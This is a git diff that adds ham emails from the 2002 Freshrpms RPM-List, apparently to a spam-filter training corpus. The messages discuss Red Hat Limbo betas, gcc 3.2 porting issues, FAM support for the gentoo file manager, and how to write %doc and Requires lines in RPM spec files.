+List-Archive: +X-Original-Date: Mon, 12 Aug 2002 12:53:38 +0200 +Date: Mon, 12 Aug 2002 12:53:38 +0200 + +Hi, Matthias.. + +> ..it's a major release and supports now SGI's FAM technology + +..requires currently some changes for the spec because the dep to fam +2.6.7-6. +For compiling fam.h (fam-evel) is required too. + +-- +regards from Germany + Matthias + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01213.39bee89f032edacb6f8eda5e83bfb154 b/bayes/spamham/easy_ham_2/01213.39bee89f032edacb6f8eda5e83bfb154 new file mode 100644 index 0000000..5c529c6 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01213.39bee89f032edacb6f8eda5e83bfb154 @@ -0,0 +1,78 @@ +From rpm-list-admin@freshrpms.net Mon Aug 12 12:23:13 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 516D044177 + for ; Mon, 12 Aug 2002 07:23:13 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 12:23:13 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7CBLSb09813 for + ; Mon, 12 Aug 2002 12:21:29 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7CBH1J08016; Mon, 12 Aug 2002 13:17:01 + +0200 +Received: from python (gw01.es3.egwn.net [212.9.66.13]) (authenticated) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g7CBGBJ07875 for + ; Mon, 12 Aug 2002 13:16:11 +0200 +From: Matthias Saou +To: rpm-zzzlist@freshrpms.net +Subject: Re: gentoo 0.11.31 released... +Message-Id: <20020812131220.65ba3bc5.matthias@egwn.net> +In-Reply-To: <20020812125338.6e376b39.matthias_haase@bennewitz.com> +References: <20020811111136.28aab804.matthias_haase@bennewitz.com> + <20020811113740.12aa33f2.matthias_haase@bennewitz.com> + <20020812125338.6e376b39.matthias_haase@bennewitz.com> +Organization: Electronic Group Interactive +X-Mailer: Sylpheed version 0.8.1claws (GTK+ 1.2.10; i386-redhat-linux) +Reply-BY: Tue, 24 Jul 2000 19:02:00 +1000 +X-Operating-System: GNU/Linux power! +X-Message-Flag: Try using a real operating system : GNU/Linux power! +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 12 Aug 2002 13:12:20 +0200 +Date: Mon, 12 Aug 2002 13:12:20 +0200 + +Once upon a time, Matthias wrote : + +> Hi, Matthias.. +> +> > ..it's a major release and supports now SGI's FAM technology +> +> ..requires currently some changes for the spec because the dep to fam +> 2.6.7-6. +> For compiling fam.h (fam-evel) is required too. + +Indeed, I had repackaged a first version, but without fam support (not +released). I'll release the package with fam support right now ;-) + +Matthias + +-- +Matthias Saou World Trade Center +------------- Edificio Norte 4 Planta +System and Network Engineer 08039 Barcelona, Spain +Electronic Group Interactive Phone : +34 936 00 23 23 + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01214.f23e48bd0d0341d460456da3f8f67dc0 b/bayes/spamham/easy_ham_2/01214.f23e48bd0d0341d460456da3f8f67dc0 new file mode 100644 index 0000000..d909c9d --- /dev/null +++ b/bayes/spamham/easy_ham_2/01214.f23e48bd0d0341d460456da3f8f67dc0 @@ -0,0 +1,102 @@ +From rpm-list-admin@freshrpms.net Tue Aug 13 10:19:19 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4649B43C4F + for ; Tue, 13 Aug 2002 05:17:24 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:17:24 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7CIjtb29544 for + ; Mon, 12 Aug 2002 19:45:55 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7CIg1J13690; Mon, 12 Aug 2002 20:42:02 + +0200 +Received: from smtp012.mail.yahoo.com (smtp012.mail.yahoo.com + [216.136.173.32]) by egwn.net (8.11.6/8.11.6/EGWN) with SMTP id + g7CIfSJ13606 for ; Mon, 12 Aug 2002 20:41:29 +0200 +Received: from usercb247.dsl.pipex.com (HELO yahoo.co.uk) + (salimma1@62.190.233.247 with plain) by smtp.mail.vip.sc5.yahoo.com with + SMTP; 12 Aug 2002 18:41:27 -0000 +Message-Id: <3D5801F0.5020004@yahoo.co.uk> +From: Michel Alexandre Salim +User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0rc2) + Gecko/20020618 Netscape/7.0b1 +X-Accept-Language: en-gb, en-us, en, in, ms +MIME-Version: 1.0 +To: rpm-zzzlist@freshrpms.net +Subject: Re: gentoo 0.11.31 released... +References: <20020811111136.28aab804.matthias_haase@bennewitz.com> + <20020811113740.12aa33f2.matthias_haase@bennewitz.com> + <20020812125338.6e376b39.matthias_haase@bennewitz.com> + <20020812131220.65ba3bc5.matthias@egwn.net> + <20020812172235.4eddb303.matthias_haase@bennewitz.com> +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 12 Aug 2002 19:44:00 +0100 +Date: Mon, 12 Aug 2002 19:44:00 +0100 + +as root, 'service xinetd reload' + +HTH, + +Michel + +Matthias Haase wrote: + +>Hi, Matthias... +> +> +> +>>Indeed, I had repackaged a first version, but without fam support (not +>>released). I'll release the package with fam support right now ;-) +>> +>> +> +>...your package doesn't require a special buildlevel for the installed fam +>rpm, it checks for libfam.* libs. +>In result, I could do an upgrade of gentoo for two older boxes here in our +>company - still RH 7.1. +>I don't know about the 'cleanless' of this (compiling mostly the latest +>sources on our devel box myself). +> +>Because non default fam rpm for RH 7.1 exists, I have to use the +>fam-2.6.4-11.i386.rpm for RH 7.2 instead. +>No probs. But the scripts inside this rpm doesn't restart xinetd on the +>fly, I have currently started fam by hand. +> +>The sgi_fam script exists in /etc/xinetd.d, so I hope, that fam is up and +>running on the next boot too. +> +> +> + + +__________________________________________________ +Do You Yahoo!? +Everything you'll ever need on one web page +from News and Sport to Email and Music Charts +http://uk.my.yahoo.com + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01215.aefa2bc36c007867211c5d6ec6ec801f b/bayes/spamham/easy_ham_2/01215.aefa2bc36c007867211c5d6ec6ec801f new file mode 100644 index 0000000..2bac33d --- /dev/null +++ b/bayes/spamham/easy_ham_2/01215.aefa2bc36c007867211c5d6ec6ec801f @@ -0,0 +1,73 @@ +From rpm-list-admin@freshrpms.net Tue Aug 13 10:22:06 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6A9F043C4A + for ; Tue, 13 Aug 2002 05:19:11 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:19:11 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7CN8tb05803 for + ; Tue, 13 Aug 2002 00:08:55 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7CN62J15969; Tue, 13 Aug 2002 01:06:02 + +0200 +Received: from bob.dudex.net (dsl092-157-004.wdc1.dsl.speakeasy.net + [66.92.157.4]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g7CN58J05275 + for ; Tue, 13 Aug 2002 01:05:09 +0200 +Received: from [66.92.157.3] (helo=www.dudex.net) by bob.dudex.net with + esmtp (Exim 3.35 #1) id 17eOFH-00028H-00 for rpm-list@freshrpms.net; + Mon, 12 Aug 2002 19:05:07 -0400 +X-Originating-Ip: [66.92.157.2] +From: "" Angles " Puglisi" +To: rpm-zzzlist@freshrpms.net +Subject: Limbo beta 2 ? +Message-Id: <20020812.fZ4.64416600@www.dudex.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 8bit +Content-Disposition: inline +X-Mailer: AngleMail for phpGroupWare (http://www.phpgroupware.org) v + 0.9.14.000 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 12 Aug 2002 23:06:18 +0000 +Date: Mon, 12 Aug 2002 23:06:18 +0000 + +Michel Alexandre Salim (salimma1@yahoo.co.uk) wrote*: +>Haven't installed Limbo beta2 myself - been sidetracked by work; the + +Limbo beta2 ? I'm running Limbo 7.3.92 with kernel 4.2.18-5.58, is what I am running +an "older" version of the Limbo beta, it is it "the" limbo beta? + +btw, it does have that gconf editor included. + +I dumped the RPMS from the Limbo cd's 1 to 3 onto a drive, ran a few scripts, edited +sources.list (rpm file:///path-to-files/RPMS.os os [I think]) and used "apt-get +dist-upgrade", worked like a charm. The real RH installer couldnot handle an upgrade +for me, it froze "searching for packages". + +-- +That's "angle" as in geometry. + + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01216.4dd33d22b4b0004c6b95b771c2881bcc b/bayes/spamham/easy_ham_2/01216.4dd33d22b4b0004c6b95b771c2881bcc new file mode 100644 index 0000000..48c59d6 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01216.4dd33d22b4b0004c6b95b771c2881bcc @@ -0,0 +1,73 @@ +From rpm-list-admin@freshrpms.net Tue Aug 13 12:18:58 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 60BF243C32 + for ; Tue, 13 Aug 2002 07:18:58 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 12:18:58 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7DBFPe29072 for + ; Tue, 13 Aug 2002 12:15:25 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7DBD3J08393; Tue, 13 Aug 2002 13:13:03 + +0200 +Received: from marvin.home.priv (adsl-66-124-58-30.dsl.anhm01.pacbell.net + [66.124.58.30]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id + g7D6P6J29598 for ; Tue, 13 Aug 2002 08:25:06 +0200 +Received: by marvin.home.priv (Postfix, from userid 500) id 5443A207F0; + Mon, 12 Aug 2002 23:25:54 -0700 (PDT) +From: Gary Peck +To: rpm-zzzlist@freshrpms.net +Subject: Re: Limbo beta 2 ? +Message-Id: <20020813062553.GA28164@marvin.home.priv> +Mail-Followup-To: Gary Peck , + rpm-list@freshrpms.net +References: <20020812.fZ4.64416600@www.dudex.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <20020812.fZ4.64416600@www.dudex.net> +User-Agent: Mutt/1.4i +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 12 Aug 2002 23:25:54 -0700 +Date: Mon, 12 Aug 2002 23:25:54 -0700 + +On Mon, Aug 12, 2002 at 11:06:18PM +0000, Angles Puglisi wrote: +> Michel Alexandre Salim (salimma1@yahoo.co.uk) wrote*: +> Limbo beta2 ? I'm running Limbo 7.3.92 with kernel 4.2.18-5.58, is what I am running +> an "older" version of the Limbo beta, it is it "the" limbo beta? + +The current version of the Limbo beta is 7.3.93 (yeah, they should +have renamed it, but they didn't). It's in the same +redhat/linux/beta/limbo directory on the ftp servers. Just check the +redhat-release package to find out which version is on the server. +Looking at ftp.redhat.com, the current one is redhat-release-7.3.93-2. + +If you're using GNOME2 from the beta, I'd upgrade as there were some +important bugfixes since the first beta. The only thing to watch out +for is that Limbo2 switched gcc to 3.2, which is once again +incompatible with the previous gcc (v3.1 shipped in Limbo1). + +gary + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01217.f3cdc54372082fffd2dd3ac5686a2645 b/bayes/spamham/easy_ham_2/01217.f3cdc54372082fffd2dd3ac5686a2645 new file mode 100644 index 0000000..76aa9bd --- /dev/null +++ b/bayes/spamham/easy_ham_2/01217.f3cdc54372082fffd2dd3ac5686a2645 @@ -0,0 +1,148 @@ +From rpm-list-admin@freshrpms.net Tue Aug 13 12:47:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id EF64D43C32 + for ; Tue, 13 Aug 2002 07:47:53 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 12:47:54 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7DBi7e29823 for + ; Tue, 13 Aug 2002 12:44:07 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7DBf1J09005; Tue, 13 Aug 2002 13:41:01 + +0200 +Received: from python (gw01.es3.egwn.net [212.9.66.13]) (authenticated) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g7DBeEJ07354 for + ; Tue, 13 Aug 2002 13:40:15 +0200 +From: Matthias Saou +To: RPM-List +Subject: Re: Advise on RPM buidling +Message-Id: <20020813131054.46559ec4.matthias@rpmforge.net> +In-Reply-To: <1029203194.15281.17.camel@stimpy> +References: <1029203194.15281.17.camel@stimpy> +Organization: freshrpms.net / rpmforge.net +X-Mailer: Sylpheed version 0.8.1claws (GTK+ 1.2.10; i386-redhat-linux) +X-Operating-System: Red Hat GNU/Linux forever! +X-Subliminal-Message: Use Linux... use Linux... use Linux... +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 13 Aug 2002 13:10:54 +0200 +Date: Tue, 13 Aug 2002 13:10:54 +0200 + +Once upon a time, Mark wrote : + +> I'm just playing with gnuboy (game boy emulator) as its fairly simple +> and small. +> I'm having a few problems with the %docs macro. +> After reading thru maximum rpm and the rpm docs, I'm still stuck on one +> thing, in the source for gnuboy there is a directory called docs, that +> contains, well the docs. +> +> I'm not sure what to pass to the %docs macro? +> I originally tried: +> %doc CHANGES CONFIG CREDITS FAQ HACKING LIBERTY README.old +> +> and it moans about missing files, would I have to put a few lines in the +> %build macro, just before configure to move the docs out of that +> directory and into the build root? +> +> ie: mv docs/* ../ + +Actually, I've already rebuild gnuboy, I just had forgotten to commit the +spec file, which is now done : + +http://freshrpms.net/builds/gnuboy/gnuboy.spec + +Basically, %doc is used to put files in %docdir (default to +/usr/share/docs/%{name}-%{version}/ and the listed files with relative +paths (i.e. that don't start with a "/") are relative to the %{builddir} +(the uncompressed source usually). So either you can choose to have a +"docs" directory inside %{_docdir} by putting : +%doc docs +(or, totally equivalent, the latter just reminding it's a directory) +%doc docs/ +Or you can put all files that are in docs/ directly in %{_docdir} : +%doc docs/* + +Try both, poke around, and you should catch the difference if it's not +already clear for you. +You can also mark any file from the %{buildroot} as documentation (will be +listed when using "-qd" to query the package's docs) by using %doc with +absolute filenames, for example : +%doc %{_datadir}/foo-game/manual +(this is /usr/share/foo-game/manual, an absolute file) +Also, for the packager's convenience, all files in /usr/share/man (aka +%{_mandir}) are automatically tagged as %doc. + +> Also one more thing, whats the best way to work out the dependencies? +> as for example with gnuboy, all hte docs and the website says is it +> needs SDL. +> +> Do I set a Requires: SDL >= 1.2 (as my system uses SDL-1.2.4-5) or just +> put Requires: SDL. + +Build the package once and see if it checks for a specific version, or read +the installation notes. Often you'll see "checking for SDL >= 1.2.0" for +example when running configure, then it's best to also make the package +depend on that version. + +> One more quick question, I'm used to compiling source code no problem +> (cannot program, but stumble through), whats the best way for finding +> out what RPMS are needed for the Requires & BuildRequires macros? +> apart from read all the docs and websites info. + +Well, read the docs indeed :-) You can also compile the package once +without those fields and see what the configure script is checking for +(basically, the libs and versions you'll need to add to the BuildRequires:) +then once the package is built, query the automatic dependencies that rpm +put into it. You'll see for instance if the binaries/libs from the package +need SDL, gtk+ etc. Then add those "Requires:" and rebuild a final version +of the package. +Often you can omit some dependencies, for example if a program is checking +for glib, gtk+, gdk-pixbuf and gnome libraries when being compiled, +BuildRequires: gnome-libs-devel +Requires: gnome-libs +will be enough since they already depend on the "lower level" libs that are +glib, gtk+ and gdk-pixbuf. + +> Once again sorry to bother you with this, but I figured you were the +> best one to ask. + +Well, this is typically the type of information interesting to share with +others, so I'll copy this answer to the rpm-list hoping some people will +appreciate :-) + +> p.s freshrpms rocks .. creep..creep! + +Thanks ;-) + +Matthias + +-- +Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ +Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-5 +Load : 0.29 0.20 0.32, AC on-line, battery charging: 100% (8:29) + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01218.f246a52bdba8c97ff7356a853caacbbd b/bayes/spamham/easy_ham_2/01218.f246a52bdba8c97ff7356a853caacbbd new file mode 100644 index 0000000..b6db5f5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01218.f246a52bdba8c97ff7356a853caacbbd @@ -0,0 +1,94 @@ +From rpm-list-admin@freshrpms.net Tue Aug 13 13:17:02 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 67FF143C32 + for ; Tue, 13 Aug 2002 08:17:02 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 13:17:02 +0100 (IST) +Received: from egwn.net (auth02.nl.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7DCEpe30884 for + ; Tue, 13 Aug 2002 13:14:52 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7DCC0J17174; Tue, 13 Aug 2002 14:12:01 + +0200 +Received: from gateway.gestalt.entity.net + (host217-39-152-198.in-addr.btopenworld.com [217.39.152.198]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7DCBTJ17084 for + ; Tue, 13 Aug 2002 14:11:29 +0200 +Received: from turner.gestalt.entity.net (turner.gestalt.entity.net + [192.168.0.253]) by gateway.gestalt.entity.net (8.11.6/8.11.2) with ESMTP + id g7DCFuM03687 for ; Tue, 13 Aug 2002 13:15:57 + +0100 +Subject: Re: Limbo beta 2 ? +From: Dave Cridland +To: rpm-zzzlist@freshrpms.net +In-Reply-To: <20020813062553.GA28164@marvin.home.priv> +References: <20020812.fZ4.64416600@www.dudex.net> + <20020813062553.GA28164@marvin.home.priv> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.8 (1.0.8-5) +Message-Id: <1029240957.15919.40.camel@turner.gestalt.entity.net> +MIME-Version: 1.0 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 13 Aug 2002 13:15:56 +0100 +Date: 13 Aug 2002 13:15:56 +0100 + +On Tue, 2002-08-13 at 07:25, Gary Peck wrote: +> On Mon, Aug 12, 2002 at 11:06:18PM +0000, Angles Puglisi wrote: +> > Michel Alexandre Salim (salimma1@yahoo.co.uk) wrote*: +> > Limbo beta2 ? I'm running Limbo 7.3.92 with kernel 4.2.18-5.58, is what I am running +> > an "older" version of the Limbo beta, it is it "the" limbo beta? +> +> The current version of the Limbo beta is 7.3.93 (yeah, they should +> have renamed it, but they didn't). It's in the same +> redhat/linux/beta/limbo directory on the ftp servers. Just check the +> redhat-release package to find out which version is on the server. +> Looking at ftp.redhat.com, the current one is redhat-release-7.3.93-2. +> +> If you're using GNOME2 from the beta, I'd upgrade as there were some +> important bugfixes since the first beta. The only thing to watch out +> for is that Limbo2 switched gcc to 3.2, which is once again +> incompatible with the previous gcc (v3.1 shipped in Limbo1). + +Eeeek... I hope they aren't intending to release a new RH with a new gcc +which hasn't yet been released (again). Bad enough the first time, and +I'm sure it gave RedHat a lot of embarrassment. + +FWIW, I've yet to compile apt on the gcc 3.2 snapshot in RawHide - apt's +C++ makes several rather poor assumptions on what iterators are, and in +addition doesn't use namespaces at all. + +For non-C++ folk, this basically means it needs porting. I've got a +reasonable way along, now, and I'll send a suitable patch to Connectiva +or somewhere when I succeed - I can't find anything on Connectiva's site +itself for this. + +In addition, the rpmlib stuff has changed slightly - I've not really +started on this, but it's mainly just arguments added. The rpmlib +documentation seems somewhat poor, though, unless I've missed it. + +Dave. + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01219.50adc817a4030488b469957b74e551c2 b/bayes/spamham/easy_ham_2/01219.50adc817a4030488b469957b74e551c2 new file mode 100644 index 0000000..3844422 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01219.50adc817a4030488b469957b74e551c2 @@ -0,0 +1,96 @@ +From rpm-list-admin@freshrpms.net Tue Aug 13 14:21:27 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5FE6A43C34 + for ; Tue, 13 Aug 2002 09:21:27 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 14:21:27 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7DDLxe00940 for + ; Tue, 13 Aug 2002 14:21:59 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7DDI2J16094; Tue, 13 Aug 2002 15:18:02 + +0200 +Received: from python (gw01.es3.egwn.net [212.9.66.13]) (authenticated) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g7DDHbJ16047 for + ; Tue, 13 Aug 2002 15:17:38 +0200 +From: Matthias Saou +To: rpm-zzzlist@freshrpms.net +Subject: Re: Limbo beta 2 ? +Message-Id: <20020813144303.7b192f78.matthias@egwn.net> +In-Reply-To: <1029240957.15919.40.camel@turner.gestalt.entity.net> +References: <20020812.fZ4.64416600@www.dudex.net> + <20020813062553.GA28164@marvin.home.priv> + <1029240957.15919.40.camel@turner.gestalt.entity.net> +Organization: Electronic Group Interactive +X-Mailer: Sylpheed version 0.8.1claws (GTK+ 1.2.10; i386-redhat-linux) +Reply-BY: Tue, 24 Jul 2000 19:02:00 +1000 +X-Operating-System: GNU/Linux power! +X-Message-Flag: Try using a real operating system : GNU/Linux power! +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 13 Aug 2002 14:43:03 +0200 +Date: Tue, 13 Aug 2002 14:43:03 +0200 + +Once upon a time, Dave wrote : + +> Eeeek... I hope they aren't intending to release a new RH with a new gcc +> which hasn't yet been released (again). Bad enough the first time, and +> I'm sure it gave RedHat a lot of embarrassment. + +Not really, it should have given more embarrassment to sloppy C++ +programmers although they often were the ones bashing on gcc 2.96... + +> FWIW, I've yet to compile apt on the gcc 3.2 snapshot in RawHide - apt's +> C++ makes several rather poor assumptions on what iterators are, and in +> addition doesn't use namespaces at all. +> +> For non-C++ folk, this basically means it needs porting. I've got a +> reasonable way along, now, and I'll send a suitable patch to Connectiva +> or somewhere when I succeed - I can't find anything on Connectiva's site +> itself for this. + +There are already patches for this, look at the Conectiva apt-list +archives, you should find them there. Also, apt 0.5 is being actively +developed and already contains enough fixes to be compiled on Limbo with +gcc 3.2. + +> In addition, the rpmlib stuff has changed slightly - I've not really +> started on this, but it's mainly just arguments added. The rpmlib +> documentation seems somewhat poor, though, unless I've missed it. + +You can still use an apt package compiled on Red Hat Linux 7.3 as long as +you install the "rpm404" package for compatibility. That's what I'm doing +currently on my home Rawhide system. + +Matthias + +-- +Matthias Saou World Trade Center +------------- Edificio Norte 4 Planta +System and Network Engineer 08039 Barcelona, Spain +Electronic Group Interactive Phone : +34 936 00 23 23 + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01220.e55da7f9e0ac000392bf41910c87642d b/bayes/spamham/easy_ham_2/01220.e55da7f9e0ac000392bf41910c87642d new file mode 100644 index 0000000..a4bdce2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01220.e55da7f9e0ac000392bf41910c87642d @@ -0,0 +1,74 @@ +From rpm-list-admin@freshrpms.net Wed Aug 14 10:50:16 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7471E43C32 + for ; Wed, 14 Aug 2002 05:46:19 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 14 Aug 2002 10:46:19 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7DJqR416060 for + ; Tue, 13 Aug 2002 20:52:28 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7DJl3J06397; Tue, 13 Aug 2002 21:47:04 + +0200 +Received: from tartarus.telenet-ops.be (tartarus.telenet-ops.be + [195.130.132.34]) by egwn.net 